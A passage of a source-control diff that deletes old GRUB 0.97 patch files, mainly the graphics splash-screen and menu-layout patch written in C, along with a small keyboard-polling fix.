-+    graphics_cls();
-+
-+    if (!read_image(splashimage)) {
-+        grub_printf("Failed to read splash image (%s)\n", splashimage);
-+        grub_printf("Press any key to continue...");
-+        getkey();
-+        set_videomode(saved_videomode);
-+        graphics_inited = 0;
-+        return 0;
-+    }
-+
-+    set_int1c_handler();
-+
-+    return 1;
-+}
-+
-+/* Leave graphics mode */
-+void graphics_end(void)
-+{
-+    if (graphics_inited) {
-+        unset_int1c_handler();
-+        set_videomode(saved_videomode);
-+        graphics_inited = 0;
-+        no_cursor = 0;
-+    }
-+}
-+
-+/* Print ch on the screen.  Handle any needed scrolling or the like */
-+void graphics_putchar(int ch) {
-+    ch &= 0xff;
-+
-+    graphics_cursor(0);
-+
-+    if (ch == '\n') {
-+        if (fonty + 1 < view_y1)
-+            graphics_setxy(fontx, fonty + 1);
-+        else
-+            graphics_scroll();
-+        graphics_cursor(1);
-+        return;
-+    } else if (ch == '\r') {
-+        graphics_setxy(view_x0, fonty);
-+        graphics_cursor(1);
-+        return;
-+    }
-+
-+    graphics_cursor(0);
-+
-+    text[fonty * 80 + fontx] = ch;
-+    text[fonty * 80 + fontx] &= 0x00ff;
-+    if (graphics_current_color & 0xf0)
-+        text[fonty * 80 + fontx] |= 0x100;
-+
-+    graphics_cursor(0);
-+
-+    if ((fontx + 1) >= view_x1) {
-+        graphics_setxy(view_x0, fonty);
-+        if (fonty + 1 < view_y1)
-+            graphics_setxy(view_x0, fonty + 1);
-+        else
-+            graphics_scroll();
-+        graphics_cursor(1);
-+        do_more ();
-+        graphics_cursor(0);
-+    } else {
-+        graphics_setxy(fontx + 1, fonty);
-+    }
-+
-+    graphics_cursor(1);
-+}
-+
-+/* get the current location of the cursor */
-+int graphics_getxy(void) {
-+    return (fontx << 8) | fonty;
-+}
-+
-+void graphics_gotoxy(int x, int y) {
-+    graphics_cursor(0);
-+
-+    graphics_setxy(x, y);
-+
-+    graphics_cursor(1);
-+}
-+
-+void graphics_cls(void) {
-+    int i;
-+    unsigned char *mem, *s1, *s2, *s4, *s8;
-+
-+    graphics_cursor(0);
-+    graphics_gotoxy(view_x0, view_y0);
-+
-+    mem = (unsigned char*)VIDEOMEM;
-+    s1 = (unsigned char*)VSHADOW1;
-+    s2 = (unsigned char*)VSHADOW2;
-+    s4 = (unsigned char*)VSHADOW4;
-+    s8 = (unsigned char*)VSHADOW8;
-+
-+    for (i = 0; i < 80 * 30; i++)
-+        text[i] = ' ';
-+    graphics_cursor(1);
-+
-+    BitMask(0xff);
-+
-+    /* plane 1 */
-+    MapMask(1);
-+    grub_memcpy(mem, s1, 38400);
-+
-+    /* plane 2 */
-+    MapMask(2);
-+    grub_memcpy(mem, s2, 38400);
-+
-+    /* plane 3 */
-+    MapMask(4);
-+    grub_memcpy(mem, s4, 38400);
-+
-+    /* plane 4 */
-+    MapMask(8);
-+    grub_memcpy(mem, s8, 38400);
-+
-+    MapMask(15);
-+
-+    if (no_cursor) {
-+        no_cursor = 0;
-+        set_int1c_handler();
-+    }
-+}
-+
-+void graphics_setcolorstate (color_state state) {
-+    switch (state) {
-+    case COLOR_STATE_STANDARD:
-+        graphics_current_color = graphics_standard_color;
-+        break;
-+    case COLOR_STATE_NORMAL:
-+        graphics_current_color = graphics_normal_color;
-+        break;
-+    case COLOR_STATE_HIGHLIGHT:
-+        graphics_current_color = graphics_highlight_color;
-+        break;
-+    default:
-+        graphics_current_color = graphics_standard_color;
-+        break;
-+    }
-+
-+    graphics_color_state = state;
-+}
-+
-+void graphics_setcolor (int normal_color, int highlight_color) {
-+    graphics_normal_color = normal_color;
-+    graphics_highlight_color = highlight_color;
-+
-+    graphics_setcolorstate (graphics_color_state);
-+}
-+
-+int graphics_setcursor (int on) {
-+    if (!no_cursor && !on) {
-+        no_cursor = 1;
-+        unset_int1c_handler();
-+        graphics_cursor(0);
-+    }
-+    else if(no_cursor && on) {
-+        no_cursor = 0;
-+        set_int1c_handler();
-+        graphics_cursor(1);
-+    }
-+    return 0;
-+}
-+
-+/* Read in the splashscreen image and set the palette up appropriately.
-+ * Format of splashscreen is an xpm (can be gzipped) with 16 colors and
-+ * 640x480. */
-+int read_image(char *s)
-+{
-+    char buf[32], pal[16], c;
-+    unsigned char base, mask, *s1, *s2, *s4, *s8;
-+    unsigned i, len, idx, colors, x, y, width, height;
-+
-+    if (!grub_open(s))
-+        return 0;
-+
-+    /* read header */
-+    if (!grub_read((char*)&buf, 10) || grub_memcmp(buf, "/* XPM */\n", 10)) {
-+        grub_close();
-+        return 0;
-+    }
-+    
-+    /* parse info */
-+    while (grub_read(&c, 1)) {
-+        if (c == '"')
-+            break;
-+    }
-+
-+    while (grub_read(&c, 1) && (c == ' ' || c == '\t'))
-+        ;
-+
-+    i = 0;
-+    width = c - '0';
-+    while (grub_read(&c, 1)) {
-+        if (c >= '0' && c <= '9')
-+            width = width * 10 + c - '0';
-+        else
-+            break;
-+    }
-+    while (grub_read(&c, 1) && (c == ' ' || c == '\t'))
-+        ;
-+
-+    height = c - '0';
-+    while (grub_read(&c, 1)) {
-+        if (c >= '0' && c <= '9')
-+            height = height * 10 + c - '0';
-+        else
-+            break;
-+    }
-+    while (grub_read(&c, 1) && (c == ' ' || c == '\t'))
-+        ;
-+
-+    colors = c - '0';
-+    while (grub_read(&c, 1)) {
-+        if (c >= '0' && c <= '9')
-+            colors = colors * 10 + c - '0';
-+        else
-+            break;
-+    }
-+
-+    base = 0;
-+    while (grub_read(&c, 1) && c != '"')
-+        ;
-+
-+    /* palette */
-+    for (i = 0, idx = 1; i < colors; i++) {
-+        len = 0;
-+
-+        while (grub_read(&c, 1) && c != '"')
-+            ;
-+        grub_read(&c, 1);       /* char */
-+        base = c;
-+        grub_read(buf, 4);      /* \t c # */
-+
-+        while (grub_read(&c, 1) && c != '"') {
-+            if (len < sizeof(buf))
-+                buf[len++] = c;
-+        }
-+
-+        if (len == 6 && idx < 15) {
-+            int r = ((hex(buf[0]) << 4) | hex(buf[1])) >> 2;
-+            int g = ((hex(buf[2]) << 4) | hex(buf[3])) >> 2;
-+            int b = ((hex(buf[4]) << 4) | hex(buf[5])) >> 2;
-+
-+            pal[idx] = base;
-+            graphics_set_palette(idx, r, g, b);
-+            ++idx;
-+        }
-+    }
-+
-+    x = y = len = 0;
-+
-+    s1 = (unsigned char*)VSHADOW1;
-+    s2 = (unsigned char*)VSHADOW2;
-+    s4 = (unsigned char*)VSHADOW4;
-+    s8 = (unsigned char*)VSHADOW8;
-+
-+    for (i = 0; i < 38400; i++)
-+        s1[i] = s2[i] = s4[i] = s8[i] = 0;
-+
-+    /* parse xpm data */
-+    while (y < height) {
-+        while (1) {
-+            if (!grub_read(&c, 1)) {
-+                grub_close();
-+                return 0;
-+            }
-+            if (c == '"')
-+                break;
-+        }
-+
-+        while (grub_read(&c, 1) && c != '"') {
-+            for (i = 1; i < 15; i++)
-+                if (pal[i] == c) {
-+                    c = i;
-+                    break;
-+                }
-+
-+            mask = 0x80 >> (x & 7);
-+            if (c & 1)
-+                s1[len + (x >> 3)] |= mask;
-+            if (c & 2)
-+                s2[len + (x >> 3)] |= mask;
-+            if (c & 4)
-+                s4[len + (x >> 3)] |= mask;
-+            if (c & 8)
-+                s8[len + (x >> 3)] |= mask;
-+
-+            if (++x >= 640) {
-+                x = 0;
-+
-+                if (y < 480)
-+                    len += 80;
-+                ++y;
-+            }
-+        }
-+    }
-+
-+    grub_close();
-+
-+    graphics_set_palette(0, (background >> 16), (background >> 8) & 63, 
-+                background & 63);
-+    graphics_set_palette(15, (foreground >> 16), (foreground >> 8) & 63, 
-+                foreground & 63);
-+    graphics_set_palette(0x11, (window_border >> 16), (window_border >> 8) & 63, 
-+                         window_border & 63);
-+
-+    return 1;
-+}
-+
-+/* Convert a character which is a hex digit to the appropriate integer */
-+int hex(int v)
-+{
-+    if (v >= 'A' && v <= 'F')
-+        return (v - 'A' + 10);
-+    if (v >= 'a' && v <= 'f')
-+        return (v - 'a' + 10);
-+    return (v - '0');
-+}
-+
-+void graphics_cursor(int set) {
-+    unsigned char *pat, *mem, *ptr, chr[16 << 2];
-+    int i, ch, invert, offset;
-+
-+    if (set && (no_cursor || no_scroll))
-+        return;
-+
-+    offset = cursorY * 80 + fontx;
-+    ch = text[fonty * 80 + fontx] & 0xff;
-+    invert = (text[fonty * 80 + fontx] & 0xff00) != 0;
-+    pat = font8x16 + (ch << 4);
-+
-+    mem = (unsigned char*)VIDEOMEM + offset;
-+
-+    if (!set) {
-+        for (i = 0; i < 16; i++) {
-+            unsigned char mask = pat[i];
-+
-+            if (!invert) {
-+                chr[i     ] = ((unsigned char*)VSHADOW1)[offset];
-+                chr[16 + i] = ((unsigned char*)VSHADOW2)[offset];
-+                chr[32 + i] = ((unsigned char*)VSHADOW4)[offset];
-+                chr[48 + i] = ((unsigned char*)VSHADOW8)[offset];
-+
-+                if (shade) {
-+                    if (ch == DISP_VERT || ch == DISP_LL ||
-+                        ch == DISP_UR || ch == DISP_LR) {
-+                        unsigned char pmask = ~(pat[i] >> 1);
-+
-+                        chr[i     ] &= pmask;
-+                        chr[16 + i] &= pmask;
-+                        chr[32 + i] &= pmask;
-+                        chr[48 + i] &= pmask;
-+                    }
-+                    if (i > 0 && ch != DISP_VERT) {
-+                        unsigned char pmask = ~(pat[i - 1] >> 1);
-+
-+                        chr[i     ] &= pmask;
-+                        chr[16 + i] &= pmask;
-+                        chr[32 + i] &= pmask;
-+                        chr[48 + i] &= pmask;
-+                        if (ch == DISP_HORIZ || ch == DISP_UR || ch == DISP_LR) {
-+                            pmask = ~pat[i - 1];
-+
-+                            chr[i     ] &= pmask;
-+                            chr[16 + i] &= pmask;
-+                            chr[32 + i] &= pmask;
-+                            chr[48 + i] &= pmask;
-+                        }
-+                    }
-+                }
-+                chr[i     ] |= mask;
-+                chr[16 + i] |= mask;
-+                chr[32 + i] |= mask;
-+                chr[48 + i] |= mask;
-+
-+                offset += 80;
-+            }
-+            else {
-+                chr[i     ] = mask;
-+                chr[16 + i] = mask;
-+                chr[32 + i] = mask;
-+                chr[48 + i] = mask;
-+            }
-+        }
-+    }
-+    else {
-+        MapMask(15);
-+        ptr = mem;
-+        for (i = 0; i < 16; i++, ptr += 80) {
-+            cursorBuf[i] = pat[i];
-+            *ptr = ~pat[i];
-+        }
-+        return;
-+    }
-+
-+    offset = 0;
-+    for (i = 1; i < 16; i <<= 1, offset += 16) {
-+        int j;
-+
-+        MapMask(i);
-+        ptr = mem;
-+        for (j = 0; j < 16; j++, ptr += 80)
-+            *ptr = chr[j + offset];
-+    }
-+
-+    MapMask(15);
-+}
-+
-+#endif /* SUPPORT_GRAPHICS */
-diff -Naur grub-0.97.orig/stage2/graphics.h grub-0.97/stage2/graphics.h
---- grub-0.97.orig/stage2/graphics.h	1969-12-31 21:00:00.000000000 -0300
-+++ grub-0.97/stage2/graphics.h	2005-06-12 20:56:49.000000000 -0300
-@@ -0,0 +1,43 @@
-+/* graphics.h - graphics console interface */
-+/*
-+ *  GRUB  --  GRand Unified Bootloader
-+ *  Copyright (C) 2002  Free Software Foundation, Inc.
-+ *
-+ *  This program is free software; you can redistribute it and/or modify
-+ *  it under the terms of the GNU General Public License as published by
-+ *  the Free Software Foundation; either version 2 of the License, or
-+ *  (at your option) any later version.
-+ *
-+ *  This program is distributed in the hope that it will be useful,
-+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *  GNU General Public License for more details.
-+ *
-+ *  You should have received a copy of the GNU General Public License
-+ *  along with this program; If not, see <http://www.gnu.org/licenses/>
-+ */
-+
-+#ifndef GRAPHICS_H
-+#define GRAPHICS_H
-+
-+/* magic constant */
-+#define VIDEOMEM 0xA0000
-+
-+/* function prototypes */
-+char *graphics_get_splash(void);
-+
-+int read_image(char *s);
-+void graphics_cursor(int set);
-+
-+/* function prototypes for asm functions */
-+void * graphics_get_font();
-+void graphics_set_palette(int idx, int red, int green, int blue);
-+void set_int1c_handler();
-+void unset_int1c_handler();
-+
-+extern short cursorX, cursorY;
-+extern char cursorBuf[16];
-+extern int shade;
-+extern int view_x0, view_y0, view_x1, view_y1;
-+
-+#endif /* GRAPHICS_H */
-diff -Naur grub-0.97.orig/stage2/Makefile.am grub-0.97/stage2/Makefile.am
---- grub-0.97.orig/stage2/Makefile.am	2005-02-02 18:37:35.000000000 -0200
-+++ grub-0.97/stage2/Makefile.am	2005-06-12 20:56:49.000000000 -0300
-@@ -7,7 +7,7 @@
-         fat.h filesys.h freebsd.h fs.h hercules.h i386-elf.h \
- 	imgact_aout.h iso9660.h jfs.h mb_header.h mb_info.h md5.h \
- 	nbi.h pc_slice.h serial.h shared.h smp-imps.h term.h \
--	terminfo.h tparm.h nbi.h ufs2.h vstafs.h xfs.h
-+	terminfo.h tparm.h nbi.h ufs2.h vstafs.h xfs.h graphics.h
- EXTRA_DIST = setjmp.S apm.S $(noinst_SCRIPTS)
- 
- # For <stage1.h>.
-@@ -19,7 +19,7 @@
- 	disk_io.c fsys_ext2fs.c fsys_fat.c fsys_ffs.c fsys_iso9660.c \
- 	fsys_jfs.c fsys_minix.c fsys_reiserfs.c fsys_ufs2.c \
- 	fsys_vstafs.c fsys_xfs.c gunzip.c md5.c serial.c stage2.c \
--	terminfo.c tparm.c
-+	terminfo.c tparm.c graphics.c
- libgrub_a_CFLAGS = $(GRUB_CFLAGS) -I$(top_srcdir)/lib \
- 	-DGRUB_UTIL=1 -DFSYS_EXT2FS=1 -DFSYS_FAT=1 -DFSYS_FFS=1 \
- 	-DFSYS_ISO9660=1 -DFSYS_JFS=1 -DFSYS_MINIX=1 -DFSYS_REISERFS=1 \
-@@ -79,8 +79,14 @@
- HERCULES_FLAGS =
- endif
- 
-+if GRAPHICS_SUPPORT
-+GRAPHICS_FLAGS = -DSUPPORT_GRAPHICS=1
-+else
-+GRAPHICS_FLAGS =
-+endif
-+
- STAGE2_COMPILE = $(STAGE2_CFLAGS) -fno-builtin -nostdinc \
--	$(NETBOOT_FLAGS) $(SERIAL_FLAGS) $(HERCULES_FLAGS)
-+	$(NETBOOT_FLAGS) $(SERIAL_FLAGS) $(HERCULES_FLAGS) $(GRAPHICS_FLAGS)
- 
- STAGE1_5_LINK = -nostdlib -Wl,-N -Wl,-Ttext -Wl,2000
- STAGE1_5_COMPILE = $(STAGE2_COMPILE) -DNO_DECOMPRESSION=1 -DSTAGE1_5=1
-@@ -90,7 +96,8 @@
- 	cmdline.c common.c console.c disk_io.c fsys_ext2fs.c \
- 	fsys_fat.c fsys_ffs.c fsys_iso9660.c fsys_jfs.c fsys_minix.c \
- 	fsys_reiserfs.c fsys_ufs2.c fsys_vstafs.c fsys_xfs.c gunzip.c \
--	hercules.c md5.c serial.c smp-imps.c stage2.c terminfo.c tparm.c
-+	hercules.c md5.c serial.c smp-imps.c stage2.c terminfo.c tparm.c \
-+	graphics.c
- pre_stage2_exec_CFLAGS = $(STAGE2_COMPILE) $(FSYS_CFLAGS)
- pre_stage2_exec_CCASFLAGS = $(STAGE2_COMPILE) $(FSYS_CFLAGS)
- pre_stage2_exec_LDFLAGS = $(PRE_STAGE2_LINK)
-diff -Naur grub-0.97.orig/stage2/shared.h grub-0.97/stage2/shared.h
---- grub-0.97.orig/stage2/shared.h	2004-06-19 13:40:09.000000000 -0300
-+++ grub-0.97/stage2/shared.h	2005-06-12 20:56:49.000000000 -0300
-@@ -792,6 +792,11 @@
- /* Set the cursor position. */
- void gotoxy (int x, int y);
- 
-+/* Internal pager
-+   Returns 1 = if pager was used
-+           0 = if pager wasn't used  */
-+int do_more (void);
-+
- /* Displays an ASCII character.  IBM displays will translate some
-    characters to special graphical ones (see the DISP_* constants). */
- void grub_putchar (int c);
-@@ -871,6 +876,7 @@
- int grub_tolower (int c);
- int grub_isspace (int c);
- int grub_strncat (char *s1, const char *s2, int n);
-+void grub_memcpy(void *dest, const void *src, int len);
- void *grub_memmove (void *to, const void *from, int len);
- void *grub_memset (void *start, int c, int len);
- int grub_strncat (char *s1, const char *s2, int n);
-diff -Naur grub-0.97.orig/stage2/stage2.c grub-0.97/stage2/stage2.c
---- grub-0.97.orig/stage2/stage2.c	2005-03-19 14:51:57.000000000 -0300
-+++ grub-0.97/stage2/stage2.c	2005-06-13 22:38:08.000000000 -0300
-@@ -20,6 +20,12 @@
- #include <shared.h>
- #include <term.h>
- 
-+#ifdef SUPPORT_GRAPHICS
-+# include <graphics.h>
-+#endif
-+
-+int col_start, col_end, row_start, box_size;
-+
- grub_jmp_buf restart_env;
- 
- #if defined(PRESET_MENU_STRING) || defined(SUPPORT_DISKLESS)
-@@ -105,13 +111,13 @@
-   if (highlight && current_term->setcolorstate)
-     current_term->setcolorstate (COLOR_STATE_HIGHLIGHT);
- 
--  gotoxy (2, y);
-+  gotoxy (2 + col_start, y);
-   grub_putchar (' ');
--  for (x = 3; x < 75; x++)
-+  for (x = 3 + col_start; x < (col_end - 5); x++)
-     {
--      if (*entry && x <= 72)
-+      if (*entry && x <= (col_end - 8))
- 	{
--	  if (x == 72)
-+	  if (x == (col_end - 8))
- 	    grub_putchar (DISP_RIGHT);
- 	  else
- 	    grub_putchar (*entry++);
-@@ -119,7 +125,7 @@
-       else
- 	grub_putchar (' ');
-     }
--  gotoxy (74, y);
-+  gotoxy ((col_end - 6), y);
- 
-   if (current_term->setcolorstate)
-     current_term->setcolorstate (COLOR_STATE_STANDARD);
-@@ -131,7 +137,7 @@
- {
-   int i;
-   
--  gotoxy (77, y + 1);
-+  gotoxy ((col_end - 3), y + 1);
- 
-   if (first)
-     grub_putchar (DISP_UP);
-@@ -151,14 +157,14 @@
- 	menu_entries++;
-     }
- 
--  gotoxy (77, y + size);
-+  gotoxy ((col_end - 3), y + size);
- 
-   if (*menu_entries)
-     grub_putchar (DISP_DOWN);
-   else
-     grub_putchar (' ');
- 
--  gotoxy (74, y + entryno + 1);
-+  gotoxy ((col_end - 6), y + entryno + 1);
- }
- 
- static void
-@@ -196,30 +202,30 @@
-   if (current_term->setcolorstate)
-     current_term->setcolorstate (COLOR_STATE_NORMAL);
-   
--  gotoxy (1, y);
-+  gotoxy (1 + col_start, y);
- 
-   grub_putchar (DISP_UL);
--  for (i = 0; i < 73; i++)
-+  for (i = col_start; i < (col_end - 7); i++)
-     grub_putchar (DISP_HORIZ);
-   grub_putchar (DISP_UR);
- 
-   i = 1;
-   while (1)
-     {
--      gotoxy (1, y + i);
-+      gotoxy (1 + col_start, y + i);
- 
-       if (i > size)
- 	break;
-       
-       grub_putchar (DISP_VERT);
--      gotoxy (75, y + i);
-+      gotoxy ((col_end - 5), y + i);
-       grub_putchar (DISP_VERT);
- 
-       i++;
-     }
- 
-   grub_putchar (DISP_LL);
--  for (i = 0; i < 73; i++)
-+  for (i = col_start; i < (col_end - 7); i++)
-     grub_putchar (DISP_HORIZ);
-   grub_putchar (DISP_LR);
- 
-@@ -233,6 +239,7 @@
- {
-   int c, time1, time2 = -1, first_entry = 0;
-   char *cur_entry = 0;
-+  struct term_entry *prev_term = NULL;
- 
-   /*
-    *  Main loop for menu UI.
-@@ -250,6 +257,22 @@
- 	}
-     }
- 
-+  col_start = 0;
-+  col_end = 80;
-+  row_start = 0;
-+  box_size = 12;
-+  /* if we're using viewport we need to make sure to setup
-+     coordinates correctly.  */
-+#ifdef SUPPORT_GRAPHICS
-+  if (grub_memcmp (current_term->name, "graphics", sizeof ("graphics") - 1) == 0)
-+    {
-+      col_start = view_x0;
-+      col_end = view_x1;
-+      row_start = view_y0;
-+      box_size = (view_y1 - view_y0) - 13;
-+    }
-+#endif
-+
-   /* If the timeout was expired or wasn't set, force to show the menu
-      interface. */
-   if (grub_timeout < 0)
-@@ -302,36 +325,36 @@
-       if (current_term->flags & TERM_DUMB)
- 	print_entries_raw (num_entries, first_entry, menu_entries);
-       else
--	print_border (3, 12);
-+	print_border (3 + row_start, box_size);
- 
-       grub_printf ("\n\
--      Use the %c and %c keys to select which entry is highlighted.\n",
-+    Use the %c and %c keys to select which entry is highlighted.\n",
- 		   DISP_UP, DISP_DOWN);
-       
-       if (! auth && password)
- 	{
- 	  printf ("\
--      Press enter to boot the selected OS or \'p\' to enter a\n\
--      password to unlock the next set of features.");
-+    Press enter to boot the selected OS or \'p\' to enter a\n\
-+    password to unlock the next set of features.");
- 	}
-       else
- 	{
- 	  if (config_entries)
- 	    printf ("\
--      Press enter to boot the selected OS, \'e\' to edit the\n\
--      commands before booting, or \'c\' for a command-line.");
-+    Press enter to boot the selected OS, \'e\' to edit the\n\
-+    commands before booting, or \'c\' for a command-line.");
- 	  else
- 	    printf ("\
--      Press \'b\' to boot, \'e\' to edit the selected command in the\n\
--      boot sequence, \'c\' for a command-line, \'o\' to open a new line\n\
--      after (\'O\' for before) the selected line, \'d\' to remove the\n\
--      selected line, or escape to go back to the main menu.");
-+    Press \'b\' to boot, \'e\' to edit the selected command in the\n\
-+    boot sequence, \'c\' for a command-line, \'o\' to open a new line\n\
-+    after (\'O\' for before) the selected line, \'d\' to remove the\n\
-+    selected line, or escape to go back to the main menu.");
- 	}
- 
-       if (current_term->flags & TERM_DUMB)
- 	grub_printf ("\n\nThe selected entry is %d ", entryno);
-       else
--	print_entries (3, 12, first_entry, entryno, menu_entries);
-+	print_entries (3 + row_start, box_size, first_entry, entryno, menu_entries);
-     }
- 
-   /* XX using RT clock now, need to initialize value */
-@@ -358,10 +381,10 @@
- 			   entryno, grub_timeout);
- 	  else
- 	    {
--	      gotoxy (3, 22);
--	      grub_printf ("The highlighted entry will be booted automatically in %d seconds.    ",
-+	      gotoxy (3 + col_start, 10 + box_size + row_start);
-+	      grub_printf (" The highlighted entry will be booted automatically in %d seconds.   ",
- 			   grub_timeout);
--	      gotoxy (74, 4 + entryno);
-+	      gotoxy ((col_end - 6), 4 + entryno + row_start);
- 	  }
- 	  
- 	  grub_timeout--;
-@@ -387,12 +410,12 @@
- 	      if (current_term->flags & TERM_DUMB)
- 		grub_putchar ('\r');
- 	      else
--		gotoxy (3, 22);
-+		gotoxy (3 + col_start, 10 + box_size + row_start);
- 	      printf ("                                                                    ");
- 	      grub_timeout = -1;
- 	      fallback_entryno = -1;
- 	      if (! (current_term->flags & TERM_DUMB))
--		gotoxy (74, 4 + entryno);
-+		gotoxy ((col_end - 6), 4 + entryno + row_start);
- 	    }
- 
- 	  /* We told them above (at least in SUPPORT_SERIAL) to use
-@@ -408,12 +431,12 @@
- 		{
- 		  if (entryno > 0)
- 		    {
--		      print_entry (4 + entryno, 0,
-+		      print_entry (4 + entryno + row_start, 0,
- 				   get_entry (menu_entries,
- 					      first_entry + entryno,
- 					      0));
- 		      entryno--;
--		      print_entry (4 + entryno, 1,
-+		      print_entry (4 + entryno + row_start, 1,
- 				   get_entry (menu_entries,
- 					      first_entry + entryno,
- 					      0));
-@@ -421,7 +444,7 @@
- 		  else if (first_entry > 0)
- 		    {
- 		      first_entry--;
--		      print_entries (3, 12, first_entry, entryno,
-+		      print_entries (3 + row_start, box_size, first_entry, entryno,
- 				     menu_entries);
- 		    }
- 		}
-@@ -433,29 +456,29 @@
- 		entryno++;
- 	      else
- 		{
--		  if (entryno < 11)
-+		  if (entryno < (box_size - 1))
- 		    {
--		      print_entry (4 + entryno, 0,
-+		      print_entry (4 + entryno + row_start, 0,
- 				   get_entry (menu_entries,
- 					      first_entry + entryno,
- 					      0));
- 		      entryno++;
--		      print_entry (4 + entryno, 1,
-+		      print_entry (4 + entryno + row_start, 1,
- 				   get_entry (menu_entries,
- 					      first_entry + entryno,
- 					      0));
- 		  }
--		else if (num_entries > 12 + first_entry)
-+		else if (num_entries > box_size + first_entry)
- 		  {
- 		    first_entry++;
--		    print_entries (3, 12, first_entry, entryno, menu_entries);
-+		    print_entries (3 + row_start, box_size, first_entry, entryno, menu_entries);
- 		  }
- 		}
- 	    }
- 	  else if (c == 7)
- 	    {
- 	      /* Page Up */
--	      first_entry -= 12;
-+	      first_entry -= box_size;
- 	      if (first_entry < 0)
- 		{
- 		  entryno += first_entry;
-@@ -463,20 +486,20 @@
- 		  if (entryno < 0)
- 		    entryno = 0;
- 		}
--	      print_entries (3, 12, first_entry, entryno, menu_entries);
-+	      print_entries (3 + row_start, box_size, first_entry, entryno, menu_entries);
- 	    }
- 	  else if (c == 3)
- 	    {
- 	      /* Page Down */
--	      first_entry += 12;
-+	      first_entry += box_size;
- 	      if (first_entry + entryno + 1 >= num_entries)
- 		{
--		  first_entry = num_entries - 12;
-+		  first_entry = num_entries - box_size;
- 		  if (first_entry < 0)
- 		    first_entry = 0;
- 		  entryno = num_entries - first_entry - 1;
- 		}
--	      print_entries (3, 12, first_entry, entryno, menu_entries);
-+	      print_entries (3 + row_start, box_size, first_entry, entryno, menu_entries);
- 	    }
- 
- 	  if (config_entries)
-@@ -489,7 +512,7 @@
- 	      if ((c == 'd') || (c == 'o') || (c == 'O'))
- 		{
- 		  if (! (current_term->flags & TERM_DUMB))
--		    print_entry (4 + entryno, 0,
-+		    print_entry (4 + entryno + row_start, 0,
- 				 get_entry (menu_entries,
- 					    first_entry + entryno,
- 					    0));
-@@ -537,7 +560,7 @@
- 
- 		      if (entryno >= num_entries)
- 			entryno--;
--		      if (first_entry && num_entries < 12 + first_entry)
-+		      if (first_entry && num_entries < box_size + first_entry)
- 			first_entry--;
- 		    }
- 
-@@ -549,7 +572,7 @@
- 		      grub_printf ("\n");
- 		    }
- 		  else
--		    print_entries (3, 12, first_entry, entryno, menu_entries);
-+		    print_entries (3 + row_start, box_size, first_entry, entryno, menu_entries);
- 		}
- 
- 	      cur_entry = menu_entries;
-@@ -570,7 +593,7 @@
- 		  if (current_term->flags & TERM_DUMB)
- 		    grub_printf ("\r                                    ");
- 		  else
--		    gotoxy (1, 21);
-+		    gotoxy (1 + col_start, 9 + box_size + row_start);
- 
- 		  /* Wipe out the previously entered password */
- 		  grub_memset (entered, 0, sizeof (entered));
-@@ -714,6 +737,15 @@
-   
-   cls ();
-   setcursor (1);
-+  /* if our terminal needed initialization, we should shut it down
-+   * before booting the kernel, but we want to save what it was so
-+   * we can come back if needed */
-+  prev_term = current_term;
-+  if (current_term->shutdown) 
-+    {
-+      current_term->shutdown();
-+      current_term = term_table; /* assumption: console is first */
-+    }
-   
-   while (1)
-     {
-@@ -748,6 +780,13 @@
- 	break;
-     }
- 
-+  /* if we get back here, we should go back to what our term was before */
-+  current_term = prev_term;
-+  if (current_term->startup)
-+      /* if our terminal fails to initialize, fall back to console since
-+       * it should always work */
-+      if (current_term->startup() == 0)
-+          current_term = term_table; /* we know that console is first */
-   show_menu = 1;
-   goto restart;
- }
-@@ -1050,6 +1089,16 @@
- 	  while (is_preset);
- 	}
- 
-+      /* go ahead and make sure the terminal is setup */
-+      if (current_term->startup)
-+	{
-+	  /* If initialization fails, go back to default terminal */
-+	  if (current_term->startup() == 0)
-+		  {
-+		      current_term = term_table;
-+		  }
-+	}
-+
-       if (! num_entries)
- 	{
- 	  /* If no acceptable config file, goto command-line, starting
-diff -Naur grub-0.97.orig/stage2/term.h grub-0.97/stage2/term.h
---- grub-0.97.orig/stage2/term.h	2003-07-09 08:45:53.000000000 -0300
-+++ grub-0.97/stage2/term.h	2005-06-13 14:07:40.000000000 -0300
-@@ -60,6 +60,8 @@
-   const char *name;
-   /* The feature flags defined above.  */
-   unsigned long flags;
-+  /* Default for maximum number of lines if not specified */
-+  unsigned short max_lines;
-   /* Put a character.  */
-   void (*putchar) (int c);
-   /* Check if any input character is available.  */
-@@ -79,6 +81,10 @@
-   void (*setcolor) (int normal_color, int highlight_color);
-   /* Turn on/off the cursor.  */
-   int (*setcursor) (int on);
-+  /* function to start a terminal */
-+  int (*startup) (void);
-+  /* function to use to shutdown a terminal */
-+  void (*shutdown) (void);
- };
- 
- /* This lists up available terminals.  */
-@@ -124,4 +130,24 @@
- int hercules_setcursor (int on);
- #endif
- 
-+#ifdef SUPPORT_GRAPHICS
-+extern int foreground, background, window_border, graphics_inited, saved_videomode;
-+
-+void graphics_set_splash(char *splashfile);
-+int set_videomode(int mode);
-+int get_videomode(void);
-+void graphics_putchar (int c);
-+int graphics_getxy(void);
-+void graphics_gotoxy(int x, int y);
-+void graphics_cls(void);
-+void graphics_setcolorstate (color_state state);
-+void graphics_setcolor (int normal_color, int highlight_color);
-+int graphics_setcursor (int on);
-+int graphics_init(void);
-+void graphics_end(void);
-+
-+int hex(int v);
-+void graphics_set_palette(int idx, int red, int green, int blue);
-+#endif /* SUPPORT_GRAPHICS */
-+
- #endif /* ! GRUB_TERM_HEADER */
diff --git a/stubdom/grub.patches/11graphics-keyboard.diff b/stubdom/grub.patches/11graphics-keyboard.diff
deleted file mode 100644
index fe17b20a6f..0000000000
--- a/stubdom/grub.patches/11graphics-keyboard.diff
+++ /dev/null
@@ -1,13 +0,0 @@
-diff --git a/stage2/stage2.c b/stage2/stage2.c
-index 9d9fcc3..8353a3b 100644
---- a/stage2/stage2.c
-+++ b/stage2/stage2.c
-@@ -395,7 +395,7 @@ restart:
- 	 pressed.  
- 	 This avoids polling (relevant in the grub-shell and later on
- 	 in grub if interrupt driven I/O is done).  */
--      if (checkkey () >= 0 || grub_timeout < 0)
-+      if (checkkey () > 0 || grub_timeout < 0)
- 	{
- 	  /* Key was pressed, show which entry is selected before GETKEY,
- 	     since we're comming in here also on GRUB_TIMEOUT == -1 and
diff --git a/stubdom/grub.patches/20print_func.diff b/stubdom/grub.patches/20print_func.diff
deleted file mode 100644
index 71ad042ac2..0000000000
--- a/stubdom/grub.patches/20print_func.diff
+++ /dev/null
@@ -1,52 +0,0 @@
-2006-01-05  Otavio Salvador  <otavio@debian.org>
-
-       * Rediff.
-
